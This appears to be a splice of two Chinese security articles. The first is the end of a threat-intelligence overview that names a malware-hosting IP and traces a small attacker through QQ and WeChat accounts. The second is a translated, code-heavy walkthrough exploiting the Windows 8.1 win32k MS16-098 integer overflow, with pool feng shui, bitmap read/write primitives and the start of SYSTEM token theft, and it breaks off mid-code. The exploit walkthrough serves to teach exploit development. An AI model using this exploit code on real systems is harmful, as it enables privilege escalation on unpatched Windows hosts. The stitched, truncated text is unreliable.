### 2.2事件监测与响应
威胁情报应用于事件监测与响应也是威胁情报使用较多的一个场景之一。安全人员对检测到的网络威胁进行响应，调查已发生或者正在发生的事件。在此场景下，使用威胁情报是为了缩短平均响应时间（MTTR：Mean-Time-to-Respond）。
在日常处理应急过程中，事中阶段，安全人员会根据IOC信息以及其他相关信息快速识别攻击，或者根据机子所感染显示的一些特征，如外连的IP、注册表信息、进程名等去查询是否有出现类似的情报信息（开源情报或者内部情报），来明确威胁攻击类型，来源以及攻击的意图等。快速评估企业内部资产受损程度及影响面，判断攻击所处的阶段，做出针对性的措施来阻止攻击进一步扩大；事后阶段，安全人员可以根据事件中出现的新的情报信息进行增补，如新变种、新C&C等，方便后续安全运营以及更好地应对同类型的攻击。
举个例子，客户反馈个人PC异常卡顿，可能感染了病毒。现场取证之后，安全分析人员确认为挖矿攻击事件。首先查看了计划任务，发现创建了两个SYSTEM权限的任务计划。路径分别为C:WindowsFontsMysqlwai.bat和C:WindowsFontsMysqlnei.bat。
根据病毒所体现的行为特征（CPU资源占用高、可疑的计划任务）结合开源情报，可以快速确定其为NSABuffMiner家族，可能为变种。报告中所分享的IOC信息，帮助安全运维人员定位到可疑进程的路径以及外连矿池地址，优先封禁外连的矿池IP，然后清除PC上所感染的恶意代码，修补永恒之蓝漏洞。事后阶段，对整个攻击事件进行复盘分析，发现攻击者首先入侵了服务器，然后使用了永恒之蓝系列漏洞利用工具，进而感染了内网。
### 2.3攻击团伙追踪
威胁情报追踪攻击团伙是一个长期的运营过程，需要积累一定量的攻击团伙的TTP，即战术、技术、过程三个维度。当然这只是针对高级攻击组织，对于小黑客来说，根据一些攻击中暴露的细节并结合威胁情报就可以追溯得到。下面通过一个例子来说明威胁情报在这个场景下的作用。
攻击者搭建HFS恶意站点传播恶意软件，站点url：http://125.65.109.98:8080/，监测日期为2018年6月28号。攻击者恶意工具软件类型包括了后门远控、DDOS软件、门罗币挖矿、爆破工具、抓鸡工具、扫描工具，还有用于灰产的刷量工具。
根据此IP，我们在情报平台上查询Passivedns，可以得知该IP绑定的域名是qq461677041.f3322.org
根据qq461677041字符查找相关信息
同时我们还挖掘到该开发者的百度网盘，昵称“love小科520”，分享的工具与HFS站点如出一辙。
再细深挖，根据其微信号和QQ为同一账号，可以找到对应的攻击者画像，确认攻击者的活动范围，在此不在赘述。
使用威胁情报对攻击团伙进行追溯其实就是用好手上的数据，尽可能提炼攻击团伙的TTP，再结合基础数据生成攻击团伙的攻击画像，跟进分析相似度高的攻击事件，不断总结更新攻击者画像。
### 2.4威胁狩猎
威胁狩猎是一种当前较新的高级威胁发现的方法，旨在事件发生之前，提前发现威胁，由被动变为主动。这需要安全分析人员具有较高的威胁发现能力，主动去根据网络中的异常情况来发现高级威胁，而威胁情报就能给与安全分析人员很好的帮助。
威胁猎捕是对各种数据源，所以IOC情报在威胁狩猎中可以起到重要作用。威胁狩猎模型中使用IOC-Based Hunting和TTP-Based
Hunting。
### 2.5基于情报驱动的漏洞管理
漏洞情报管理的主要目的是为了保护用户资产、数据传输过程。结合威胁情报，可以帮助安全运维人员快速定位影响资产安全的关键风险点。当漏洞情报被披露时，企业可以根据漏洞情报再结合企业的资产信息来分析漏洞对整个业务的影响，提前修复关键漏洞。特别是在0day漏洞的在野利用事件爆发的时候，漏洞情报就显得格外重要。
2017年Wanncry勒索病毒利用的MS17-010漏洞感染了大量的设备终端，之所以会有这种大规模的漏洞攻击爆发，Shadowbroker发布漏洞利用工具的时间为4月14日，较勒索病毒爆发期还有将近一个月的时间差。如果当时采用基于情报驱动漏洞管理的机制之下，完全可以将企业的损失降低。当然企业和普通用户不可能自己建立一套漏洞情报系统，所以就需要外部情报系统推送漏洞情报来辅助企业安全人员来定位资产风险点。
### 2.6暗网情报发现
暗网中存在大量非法交易，恶意代码、毒品、数据贩卖等。近年国内也发生了多起大型数据泄露的事件，诸如2018年华住酒店数据泄露并在暗网出售；Acfun遭黑客攻击数据泄露。下图为华住旗下酒店开放数据在暗网出售截图：
企业需要此类的情报信息来避免被薅羊毛、数据泄露、业务风险等。虽然有可能对于企业只是亡羊补牢的操作，但是在一定程度上能够为企业提供信息，帮助企业定位到可疑的攻击点。
## 三、结语
威胁情报无疑是当前安全行业的一个热点关键词，也被业界寄予了厚望。但就实际的应用和经验来看，安全领域不存在单点的银弹技术，威胁情报固然在某些方面有极高的能力，但并非解决安全问题的“灵丹妙药”——威胁情报的应用场景虽然多种多样，但是如何生产优质的情报，如何形成情报闭环、推动情报落地，这些才是问题的关键。 | 社区文章 |
# 【技术分享】从MS16-098看Windows 8.1内核漏洞利用
|
##### 译文声明
本文是翻译文章，文章来源：sensepost.com
原文地址：<https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **Ox9A82**
****](http://bobao.360.cn/member/contribute?uid=2676915949)
**预估稿费：300RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**前言**
在我刚开始接触内核漏洞时我没有任何有关内核的经验，更不用说去利用内核漏洞了，但我总是对于逆向工程和漏洞利用技术非常感兴趣。
最初，我的想法很简单：找到一个目前还没有可用exploit的可利用漏洞的补丁，从它开始我的逆向工程以及利用的旅途。这篇文章里谈及的漏洞不是我的最早选的那个：那个测试失败了。这实际上是我的第二选择，我花费了4个月的时间来了解有关这个漏洞的一切。
我希望这篇博客可以帮到那些渴望了解逆向工程和exploit开发的人。这是一个漫长的过程，而我又是一个内核exploit开发方面的新手，所以我希望你在阅读这篇文章时能够保持耐心。
**使用的工具**
Expand.exe (用于MSU文件）
Virtual KD <http://virtualkd.sysprogs.org/>(他们说自己比正常的内核调试要快上45倍是真的)
Windbg (kd)
IDA professional. <https://www.hex-rays.com/products/ida/>
Zynamics BinDiff IDA plugin. <https://www.zynamics.com/bindiff.html>
**Expand.exe的使用**
Expand.exe可以用来从微软更新文件（MSU）和CAB文件中提取文件。
使用以下命令更新和提取CAB文件到指定目录：
Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO]
Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO]
如果命令后面接地址，会根据符号定义的结构进行dump
!pool,!poolfind和!poolused命令在我分析内核池溢出，进行内核池风水时帮了我很多。
一些有用的例子：
要dump指定地址的内核池页面布局，我们可以使用以下命令：
kd> !poolused [POOLTYPE] [POOLTAG]
要检索指定池类型中的指定池标记的对象的分配数量：
kd> !poolused [POOLTYPE] [POOLTAG]
要为指定的池标记搜索提供的池类型的完整分配的内核池地址空间。
kd> !poolfind [POOLTAG] [POOLTYPE]
**Windbg使用技巧**
相比其他调试器我个人更喜欢Windbg，因为它支持一些很有用的命令，特别是对于内核调试来说。
kd> dt [OBJECT SYMBOL NAME] [ADDR]
dt命令使用符号表定义的结构来dump内存，这在分析对象时非常有用，并且可以在对象的符号已导出时了解一些特殊的情况。
使用这个命令时如果不加地址那么会直接显示这个对象的结构。例如，要查看EPROCESS对象的结构，我们可以使用以下命令。
**通过补丁对比来了解漏洞原理**
下载好更新文件，我们打开后发现被修改了的文件是win32k.sys，版本是6.3.9600.18405。当与其旧版本6.3.9600.17393进行二进制对比时，我们使用的是IDA的Zynamics
BinDiff插件。可以发现一个发生了更改的有趣函数的相似性评级是0.98。存在漏洞的函数是win32k！bFill。下面是两个版本之中的区别。
diff快速的展示出了一个整数溢出漏洞是如何通过加入一个UlongMult3函数来修补的，这个函数通过相乘来检测整数溢出。如果结果溢出了对象类型（即ULONG），则返回错误“INTSAFE_E_ARITHMETIC_OVERFLOW”。
这个函数被添加在调用PALLOCMEM2之前，PALLOCMEM2使用了一个经过检查的参数[rsp +
Size]。这确认了这个整数溢出将导致分配小尺寸的对象; 那么问题是——这个值可以被用户通过某种方式控制吗？
当面临一个复杂问题的时候，建议先将它分解为更小的问题。 因为内核漏洞利用是一个大问题，所以一步一步进行似乎是一种好方法。步骤如下：
1.击中存在漏洞的函数
2.控制分配的大小
3.内核内存池（pool）Feng Shui技术
4.利用GDI位图对象（Bitmap GDI objects）
5.分析并且控制溢出
6.修复溢出的头部
7.从SYSTEM进程的内核进程对象（EPROCESS）中偷取表示权限的Token
8.成功得到SYSTEM权限
**Step 1 –触发漏洞函数**
首先，我们需要了解如何通过查看IDA中的函数定义来击中漏洞函数。可以看出，该函数在EPATHOBJ上起作用，并且函数名“bFill”说明它与填充路径有关。通过用谷歌搜索“msdn路径填充”，我得到了BeginPath函数和示例程序。
bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *)
理论上来说，如果我们使用示例中的代码，它应该会击中漏洞函数？
// Get Device context of desktop hwnd
hdc = GetDC(NULL);
//begin the drawing path
BeginPath(hdc);
// draw a line between the supplied points.
LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));
//End the path
EndPath(hdc);
//Fill Path
FillPath(hdc);
好吧，这没有实现。所以我在windbg中对每个函数的起始部分都添加了一个断点。
EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill()
再次运行示例代码，发现第一个函数被命中，然后不再继续命中最后的函数是EngFastFill。为了不让深入的逆向分析过程给读者增加无聊的细节，我们这里直接给出结论。简而言之，这个函数是一个switch
case结构，将最终会调用bPaintPath，bBrushPath或bBrushPathN_8x8。到底调用哪个则取决于一个画刷对象（brush
object）关联的hdc。上面的代码甚至没有执行到switch case，它在之前就失败了。我发现有四种设备上下文类型
打印机
显示，它是默认值
信息
内存，它支持对位图对象的绘制操作。
根据提供的信息，我尝试将设备类型转换为内存（位图）如下：
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
// draw a line between the supplied points.
LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i])));
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
事实证明，这正是击中漏洞函数bFill所需要做的。
**Step 2 – Controlling the Allocation Size:**
来看看分配部分的代码
在调用分配函数之前，首先检查[rbx +
4]（rbx是我们的第一个参数，即EPATHOBJ）的值是否大于0x14.如果大于，则这个值被乘以3就是这里导致的整数溢出。
lea ecx, [rax+rax*2];
溢出发生实际上有两个原因：一是这个值被转换到32位寄存器ecx中和二是[rax + rax *
2]意味着值被乘以3。通过一些计算，我们可以得出结论，要溢出这个函数的值需要是：
0xFFFFFFFF / 3 = 0x55555555
任何大于上面的值都可以溢出32位的寄存器。
0x55555556 * 3 = 0x100000002
然后，做完乘法的结果又向左移了4位，一般左移4位被认为等同于乘以2 ^ 4。
0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32位寄存器值)
目前为止，仍然没有结论如何去控制这个值，所以我决定阅读更多关于使用PATH对象进行Windows
GDI利用的帖子，看看有没有什么思路。我很巧合的看到了一篇博文，讨论的是MS16-039的利用过程。这篇博文中讨论的漏洞与我们当前攻击的目标函数拥有相同的代码，就好像有人在这两个函数中复制粘贴代码一样。如果没有这篇博客，那么我会花费更多的时间在这上面，所以非常感谢你，NicoEconomou。
但是，人们会想当然的认为，可以直接从里面拿到一个伟大的指南，但实际上根本不是这样。虽然这篇文章真的很有助于利用思路。但真正的价值是，对于一对不同的利用，和我这样一个根本没有内核开发和内核利用经验的人，我不得不深入到利用过程中的每个方面，并了解它的工作原理。就是说——“授人以鱼不如授人以渔”
我们继续，那个值是PATH对象中的point数，并且可以通过多次调用PolylineTo函数来控制。触发50字节分配的代码是：
//Create a Point array
static POINT points[0x3fe01];
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
for (int j = 0; j < 0x156; j++) {
PolylineTo(hMemDC, points, 0x3FE01);
}
}
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
通过以point数0x3FE01调用PolylineTo函数0x156次将产生
0x156 * 0x3FE01 = 0x5555556
注意，这个数字小于前面计算产生的数字，原因是实际中当该位左移4位时，最低的半字节将被移出32位寄存器，而剩下的是小数。另一件值得一提的是，应用程序将向point列表中添加一个额外的point，因此传递给溢出指令的数字将为0x5555557。让我们计算一下，看看它会如何工作。
0x5555557 * 0x3 = 0x10000005
0x10000005 << 4 = 0x00000050
到那时候，将会分配50字节大小，应用程序将尝试复制0x5555557大小的数据到那一小块内存，这将迅速导致一个蓝屏，并且我们成功的触发了漏洞！
**Step 3 – 内核内存池Feng Shui:**
现在开始困难的部分：内核池风水
内核池风水是一种用于控制内存布局的技术，通过分配和释放内存的调用在目标对象分配之前，先使内存处于确定的状态。这种想法是想要强制我们的目标对象分配在我们可控对象的附近，然后溢出相邻的对象并使用发生溢出的对象来利用内存破坏原语（译注：所谓的“内存破坏原语”，指的应该是一些可以被利用的指令，比如mov
[eax],xxx 可以进行写），获得读/写内核内存的能力。我选择的对象是Bitmap，具有池标签Gh05（pool
tag），他会被分配给相同的页会话池，并且可以使用SetBitmapBits/GetBitmapBits来控制写/读到任意位置。
发生崩溃是因为在bFill函数结束时，会释放分配的对象，当对象被释放时，内核会验证内存池中相邻块的块头部。如果它被损坏，将抛出错误BAD_POOL_HEADER并退出。由于我们溢出了相邻的页面，所以这个检查将会失败，并且会发生蓝屏。
避开这个检查导致的崩溃的窍门是强制我们的对象分配在内存页的结尾。这样，将不会有下一个块，并且对free（）的调用将正常传递。要实现这个FengShui需要记住以下几点：
内核池页面大小为0x1000字节，任何更大的分配将分配到大内核池（Large kernel Pool）。
任何大于0x808字节的分配都会被分配到内存页的开始。
后续分配将从内存页末尾开始分配。
分配需要相同的池类型，在我们的情况下是分页会话池（Paged）。
分配对象通常会添加大小为0x10的池头。 如果分配的对象是0x50，分配器将实际分配0x60，包括池头。
有了这些，就可以开发内核池风水了，来看看这将如何工作，看看漏洞代码：
void fungshuei() {
HBITMAP bmp;
// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0
bitmaps[k] = bmp;
}
HACCEL hAccel, hAccel2;
LPACCEL lpAccel;
// Initial setup for pool fengshui.
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
SecureZeroMemory(lpAccel, sizeof(ACCEL));
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
// Delete the allocated bitmaps to free space at beginning of pages
for (int k = 0; k < 5000; k++) {
DeleteObject(bitmaps[k]);
}
//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
for (int k = 0; k < 5000; k++) {
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
bitmaps[k] = bmp;
}
// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
for (int k = 0; k < 1700; k++) { //1500
AllocateClipBoard2(0x30);
}
// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
for (int k = 2000; k < 4000; k++) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
}
可以清楚地看到分配/解除分配的流量，GIF值得一千字
通过分配/释放调用，显示实际发生的事情，内核风水的第一步是：
HBITMAP bmp;
// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(1670, 2, 1, 8, NULL);
bitmaps[k] = bmp;
}
从5000个大小为0xf80的Bitmap对象的分配开始。这将最终开始分配新的内存页面，每个页面将以大小为0xf80的Bitmap对象开始，并在页面结尾留下0x80字节的空间。如果想要检查喷射是否工作，我们可以在bFill内调用PALLOCMEM，并使用poolused
0x8
Gh?5来查看分配了多少个位图对象。另一件事是，如何计算提供给CreateBitmap()函数的大小转换为由内核分配的Bitmap对象。其实这只是一个近似的计算，需要不断的尝试和纠错，通过不断的更改位图的大小，并使用poolfind命令查看分配的大小进行修正。
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
for (INT i = 0; i < 7000; i++) {
hAccel = CreateAcceleratorTableA(lpAccel, 1);
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
pAccels[i] = hAccel;
pAccels2[i] = hAccel2;
}
然后，分配7000个加速器表对象（Usac）。每个Usac的大小为0x40，因此其中有两个将分配到剩下的0x80字节的内存中。这将填充前面的分配轮次的剩余0x80字节，并完全填充我们的页面（0xf80
+ 80 = 0x1000）。
// Delete the allocated bitmaps to free space at beginning of pages
for (int k = 0; k < 5000; k++) {
DeleteObject(bitmaps[k]);
}
下一次分配以前分配的对象将保留有我们的内存页布局，在页的开头有0xf80个空闲字节。
//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
for (int k = 0; k < 5000; k++) {
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
}
分配5000个大小为0xbc0字节的区域对象（Gh04）。这个大小是必要的，因为如果Bitmap对象直接放置在我们的目标对象附近，溢出它就覆盖不到Bitmap对象中的我们目标的成员（在后面部分讨论），而我们需要溢出这个目标成员配合GetBitmapBits/SetBitmapBits来读/写内核内存。至于如何计算分配的对象的大小与提供给CreateEllipticRgn函数的参数相关，需要通过不断的尝试和修正来找到的。
对于feng shui来说，内核页面在页的开头有0xbc0大小的Gh04对象，在页的结尾有0x80字节。它们之中有0x3c0个字节的空闲空间。
// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
for (int k = 0; k < 5000; k++) {
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
bitmaps[k] = bmp;
}
分配大小5000个大小为0x3c0字节的位图对象来填充被释放的内存，位图对象是我们溢出的目标。
// Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
for (int k = 0; k < 1700; k++) { //1500
AllocateClipBoard2(0x30);
}
下一步是分配1700个大小为0x60的剪贴板对象（Uscb），这只是为了在分配我们的模板对象之前填充掉大小为0x60的任何内存。这样一来当对象被分配时，它几乎肯定会落入我们的内存布局之中。Nicolas使用这个对象进行了内核喷射，我没有试图模拟free或者syscall来做到这一点，然而发现了一些比较古怪的行为，基本上是使用下面的代码将东西复制到剪贴板：
void AllocateClipBoard(unsigned int size) {
BYTE *buffer;
buffer = malloc(size);
memset(buffer, 0x41, size);
buffer[size-1] = 0x00;
const size_t len = size;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
memcpy(GlobalLock(hMem), buffer, len);
GlobalUnlock(hMem);
OpenClipboard(wnd);
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
GlobalFree(hMem);
}
我发现，如果你省略掉OpenCliboard，CloseClipBboard和EmptyClipboard直接调用SetClipboardData，那么这个对象会被分配，并且永远不会被释放。我猜你多次调用后会发生内存耗尽，但我并没有进行测试。此外，我所说的对象不能被释放，是指即使你使用EmptyCliBoard打开和清空剪贴板，或者连续调用SetBitmapData和EmptyClipboad也不行。
// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
for (int k = 2000; k < 4000; k++) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
我们的内核FengShui的最后一步就是在分配的加速器表对象（Usac）中打孔，正好创建2000个孔。内核风水函数也是在漏洞被触发之前就要被调用的，如果一切顺利的话我们的目标对象将被分配到这些孔中的一个，其位置在内存页的末尾。
**Step 4 – 利用Bitmap位图对象:**
位图对象的结构以SURFOBJ64作为起始，后面接着的是位图数据，这个对象有三个我们感兴趣的成员，sizlBitmap，pvScan0和hdev。sizlBitmap是位图的宽度和高度，pvScan0是指向位图数据开始的指针，hdev是指向设备句柄的指针。
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
我们利用位图对象的方式是通过使用受控值来覆盖sizlBitmap或pvScan0。SetBitmapBits/
GetBitmapBits要验证读写的数据量，就是使用的这两个对象成员，它表示了位图可用数据的大小。例如，GetBitmapBits会计算位图的宽度x高度x4（每像素每个字节32位，作为CreateBitmap的参数），来验证从pvScan0指向的地址可以读取的数据量。
如果sizlBitmap的成员被更大的宽度和高度值覆盖，那么它将可以扩大位图以读取和写入数据。在这个漏洞中，例如，它是宽度0xFFFFFFFF×高度1×4。
如果溢出的数据可控，那么我们可以直接使用我们想要读写的地址来设置pvScan0成员的值。
将第一个位图的pvScan0设置为第二个位图的pvScan0的地址。
使用第一个位图作为管理器，将第二个位图的pvScan0指针设置为指向我们要读写的地址。
这样，第二个位图实际上就可以读写这个地址了。
对这个漏洞来说，用于溢出堆的数据不是完全可控的，因为被复制的数据是大小为0x30字节的point或更特定的边缘对象。幸运的是，如下一节所示，被重写的一些数据可以被间接控制，并且将用值0x1和0xFFFFFFFF覆盖掉sizlBitmap成员，这会扩大位图对象可以读写的数据量。使用的流程如下。
1.触发溢出并覆盖相邻位图对象的sizlBitmap成员。
2.使用扩展位图作为管理器覆盖第二个位图的pvScan0成员。
3.使第二个位图作为工作者，利用它读写由第一个位图设置的地址。
hdev成员的重要性将在下一节中详细讨论，主要是它要么会设置为0要么就设置为指向设备对象的指针。
**Step 5 – 分析并控制溢出数据:**
现在该分析如何控制溢出了，为了更好地理解它，我们需要看看addEdgeToGet函数，这个函数将point复制到新分配的内存中。刚开始时，addEdgeToGet将r11和r10寄存器的值设置为[r9+4]和[r8+4]。
然后会进行检查，检查上一个point.y是否小于[r9 +
0c]，而这里是0x1f0。如果是这种情况的话，当前point会被复制到我们的缓冲区中，如果不是则跳过当前point。还需要注意的是point.y的值向左移动了一些，例如如果前面的point.y
= 0x20，则值将为0x200。
现在我们有了控制溢出的原语，我们还需要找出值0x1和0xFFFFFFFF是怎么被复制的。
在第一次检查中，函数将从表示当前point.y值的ebp寄存器中减去r10中的前一个point.y值。如果得到的结果是unsigned（译注：js跳转），它会将0xFFFFFFFF复制到rdx指向的缓冲区偏移0x28处。我们这里猜测，这个函数是在检查当前point.y到前一个point.y的方向。
在第二次检查中，对point.x也一样，从表示当前point.x的ebx上减去表示上一个point.x的r8，如果结果是无符号的，函数将复制0x1到我们r15指向的缓冲区的0x24偏移处。这个操作很有意义，因为它对应于上一个检查时复制数据到0x28偏移处，而且我们的目的只是想溢出sizlBitmap结构。对于大小为0x30字节的point结构，也会把1复制到由[r15
+ 0x24]指向的对象的hdev成员中。
计算point的数量来溢出缓冲区以覆盖sizLBitmap成员是比较容易的，并且该漏洞exploit的执行方式是简单地将上一个point.y值篡改为更大的值。但是这将使前面提到的那些检查失败，从而使得这些point不会被复制。来看一下exploit中的代码片段。
static POINT points[0x3fe01];
for (int l = 0; l < 0x3FE00; l++) {
points[l].x = 0x5a1f;
points[l].y = 0x5a1f;
}
points[2].y = 20; //0x14 < 0x1f
points[0x3FE00].x = 0x4a1f;
points[0x3FE00].y = 0x6a1f;
这就是最初的point数组被初始化的过程，注意points[2].y的值设置为20，即十六进制中的0x14，小于0x1f，因此将复制后续的points到我们分配的缓冲区中。
for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) {
points[2].y = 0x5a1f;
}
if (!PolylineTo(hMemDC, points, 0x3FE01)) {
fprintf(stderr, "[!] PolylineTo() Failed: %xrn", GetLastError());
}
}
然后，一个验证被添加到调用PolyLineTo的循环中，以检查循环次数是否大于0x1F，如果大于就将points
[2].y的值更改为大于0x1F0的值，从而使检查失败，由此后续的point不会再被复制到我们的缓冲区中。
这样可以有效地控制溢出，函数会溢出缓冲区直到下一个相邻的位图对象的sizlBitmap成员为0x1和0xFFFFFFFF。这有效的增大了位图对象，允许我们对这个位图对象进行越界读写。找到到底是哪个位图对象的方法是通过循环调用GetBitmapBits函数，如果得到的大小大于从我们的内核池喷出的位图的原始值则该位图是被溢出的，那么它是管理器位图，并且相邻的下一个是工作者位图。
for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); if (res > 0x150) // if check succeeds we found our bitmap.
}
如果一切都能按计划进行，我们就应该能够从内存中读取0x1000 bit。 下面有位图对象在溢出前后，标题，sizLBitmap和hdev成员溢出。
下面是一个位图对象在溢出前后的成员的值
当循环检测是哪个位图被执行时，会在几次调用GetBitmapBits之后发生崩溃。崩溃发生在PDEVOBJ::
bAlowSharedAcces函数中，当试图从地址0x0000000100000000（它是上面重写的位图对象的hdev成员）读取时。在分析时注意到位图对象有一个成员要么是NULL要么是指向的Gdev设备对象的指针，在这种情况下这个成员是指向设备对象的指针。
函数win32k!GreGetBitmapBits会调用NEEDGRELOCK::vLock，而这个函数会接着调用PDEVOBJ::bAllowSharedAccess。通过观察NEEDGRELOCK::vLock函数的反汇编，可以注意到这个函数使用PDEVOBJ只是为了调用PDEVOBJ::bAllowSharedAccess，如果这个函数的返回值为零，那么它将继续进行其他的检查，此后就没有再使用过PDEVOBJ了。
此外，在GreGetBitmapBits中，函数不检查NEEDGRELOCK::vlock的返回值，执行后，PDEVOBJ::
bAllowSharedAccess将尝试读取第一个功能块中的地址，如果读到的数据等于1，那么这个函数将以0值退出，而这是继续执行所要求的。
使用VirtualAlloc为此地址分配内存并将所有的字节都设置为1，将会无错误的退出函数。并且会回收GetBitmapBits使用的位图数据，整个过程不会发生崩溃。
VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(fake, 0x1, 0x100);
**Step 6 – 修复被溢出的头部:**
在这一点上，exploit能够读写大小为0xFFFFFFFF * 1 *
4的相邻内存，这足以到达下一页中的第二个相邻位图对象，并覆盖要用于在内核内存上进行任意读写的pvScan0地址。
当exploit退出时，我注意到有时在进程退出时会发生一些与池头有关的崩溃。解决这个问题的方案是使用GetBitmapbits，读取下一个区域（region）和位图对象的头，这些对象没有被覆盖，然后泄露一个可以在region对象中找到的内核地址，
计算被溢出覆盖的区域（region）对象的地址的方法是将泄漏出来的地址的最低字节置为空，这将提供给我们当前页的开始的地址，然后将倒数第二个低字节减去0x10，从当前页的起始减去0x1000，就可以得到前一页的开始地址。
addr1[0x0] = 0;
int u = addr1[0x1];
u = u - 0x10;
addr1[1] = u;
接下来要计算溢出的Bitmap对象的地址，记住region对象的大小为0xbc0，因此将在最后一步得到的地址的最低字节设置为0xc0，并将0xb加给倒数第二个最低字节，将获得发生溢出的位图对象的头部地址。
ddr1[0] = 0xc0;
int y = addr1[1];
y = y + 0xb;
addr1[1] = y;
然后，管理器（manager）位图对象通过SetBitmapBits覆写工作者位图对象的pvScan0成员为区域头的地址（region
header）。然后，工作者（worker）位图被SetBitmapBits用来设置该地址指向的数据为在第一步骤中读取的头部数据。对于溢出的位图对象头也是这样。
void SetAddress(BYTE* address) {
for (int i = 0; i < sizeof(address); i++) {
bits[0xdf0 + i] = address[i];
}
SetBitmapBits(hManager, 0x1000, bits);
}
void WriteToAddress(BYTE* data) {
SetBitmapBits(hWorker, sizeof(data), data);
}
SetAddress(addr1);
WriteToAddress(Gh05);
**Step 7 – 从EPROCESS对象中偷取Token:**
这个过程起始于获取PsInitialSystemProcess全局变量的内核地址，这个指针指向EPROCESS列表中的第一个条目，该指针由ntoskrnl.exe导出。
// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
{
ULONG64 Bases[0x1000];
DWORD needed = 0;
ULONG64 krnlbase = 0;
if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
krnlbase = Bases[0];
}
return krnlbase;
}
// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
{
// load ntoskrnl.exe
ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
// get address of exported PsInitialSystemProcess variable
